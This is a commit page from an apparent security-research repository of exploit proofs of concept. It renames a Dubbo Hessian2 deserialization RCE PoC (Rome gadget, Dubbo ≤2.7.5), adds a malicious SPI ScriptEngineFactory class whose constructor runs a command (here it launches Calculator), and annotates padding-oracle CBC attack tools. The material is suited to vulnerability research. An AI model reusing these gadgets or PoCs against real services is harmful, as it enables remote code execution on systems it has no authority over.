Skip to content

Commit 1b12ad9

Browse files
author
threedr3am
committed
feat:优化padding oracle cbc相关&添加spi的恶意类&增加fastjson-1.2.62依赖
1 parent 6989082 commit 1b12ad9

File tree

9 files changed

+373
-8
lines changed

9 files changed

+373
-8
lines changed

lib/fastjson-1.2.62.jar

643 KB
Binary file not shown.

src/main/java/Calc.java

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,9 @@
44
public class Calc {
55
static {
66
try {
7-
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
7+
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
88
} catch (Throwable e) {
99
e.printStackTrace();
1010
}
1111
}
12-
13-
public static void main(String[] args) {
14-
15-
}
1612
}
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
import java.util.List;
2+
import javax.script.ScriptEngine;
3+
import javax.script.ScriptEngineFactory;
4+
5+
/**
6+
* @author threedr3am
7+
*/
8+
public class CalcScriptEngineFactory implements ScriptEngineFactory {
9+
10+
public CalcScriptEngineFactory() {
11+
try {
12+
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
13+
} catch (Throwable e) {
14+
e.printStackTrace();
15+
}
16+
}
17+
18+
@Override
19+
public String getEngineName() {
20+
return null;
21+
}
22+
23+
@Override
24+
public String getEngineVersion() {
25+
return null;
26+
}
27+
28+
@Override
29+
public List<String> getExtensions() {
30+
return null;
31+
}
32+
33+
@Override
34+
public List<String> getMimeTypes() {
35+
return null;
36+
}
37+
38+
@Override
39+
public List<String> getNames() {
40+
return null;
41+
}
42+
43+
@Override
44+
public String getLanguageName() {
45+
return null;
46+
}
47+
48+
@Override
49+
public String getLanguageVersion() {
50+
return null;
51+
}
52+
53+
@Override
54+
public Object getParameter(String key) {
55+
return null;
56+
}
57+
58+
@Override
59+
public String getMethodCallSyntax(String obj, String m, String... args) {
60+
return null;
61+
}
62+
63+
@Override
64+
public String getOutputStatement(String toDisplay) {
65+
return null;
66+
}
67+
68+
@Override
69+
public String getProgram(String... statements) {
70+
return null;
71+
}
72+
73+
@Override
74+
public ScriptEngine getScriptEngine() {
75+
return null;
76+
}
77+
}

src/main/java/com/threedr3am/bug/dubbo/JdbcRowSetImplPoc.java renamed to src/main/java/com/threedr3am/bug/dubbo/RomePoc.java

Lines changed: 14 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -17,10 +17,20 @@
1717
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
1818

1919
/**
20-
* dubbo 默认配置,即hessian2反序列化,都可RCE
20+
* dubbo 默认配置,即hessian2反序列化,都可RCE(dubbo版本<=2.7.5)
21+
*
22+
* Spring和Spring boot环境下都能打
23+
*
24+
*
25+
* <dependency>
26+
* <groupId>com.rometools</groupId>
27+
* <artifactId>rome</artifactId>
28+
* <version>1.7.0</version>
29+
* </dependency>
30+
*
2131
* @author threedr3am
2232
*/
23-
public class JdbcRowSetImplPoc {
33+
public class RomePoc {
2434

2535
static {
2636
//rmi server示例
@@ -72,8 +82,9 @@ public static void main(String[] args) throws Exception {
7282
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
7383
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
7484

85+
//todo 经测试,以下4个随意填
86+
//注册中心获取到的service全限定名、版本号、方法名
7587
out.writeUTF("2.0.2");
76-
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
7788
out.writeUTF("com.threedr3am.learn.server.boot.DemoService");
7889
out.writeUTF("1.0");
7990
out.writeUTF("hello");

src/main/java/com/threedr3am/bug/paddingoraclecbc/PaddingOracle.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,8 @@
88
/**
99
* padding oracle java实现(多组密文实现)
1010
*
11+
* todo 用于利用padding oracle爆破出原文
12+
*
1113
* @author threedr3am
1214
*/
1315
public class PaddingOracle {

src/main/java/com/threedr3am/bug/paddingoraclecbc/PaddingOracleCBC.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@
66
/**
77
* padding oracle cbc java实现(单组 <= 16bytes 密文实现)
88
*
9+
* todo 用于padding oracle爆破单组密文的原文,然后cbc攻击修改iv,使密文解密可以变成我们预期的明文
10+
*
911
* @author threedr3am
1012
*/
1113
public class PaddingOracleCBC {

src/main/java/com/threedr3am/bug/paddingoraclecbc/PaddingOracleCBC2.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,8 @@
88
/**
99
* padding oracle cbc java实现(多组密文实现)
1010
*
11+
* todo 用于padding oracle爆破多组密文的原文,然后cbc攻击修改每一段iv,使密文解密可以变成我们预期的明文
12+
*
1113
* @author threedr3am
1214
*/
1315
public class PaddingOracleCBC2 {

0 commit comments

Comments
 (0)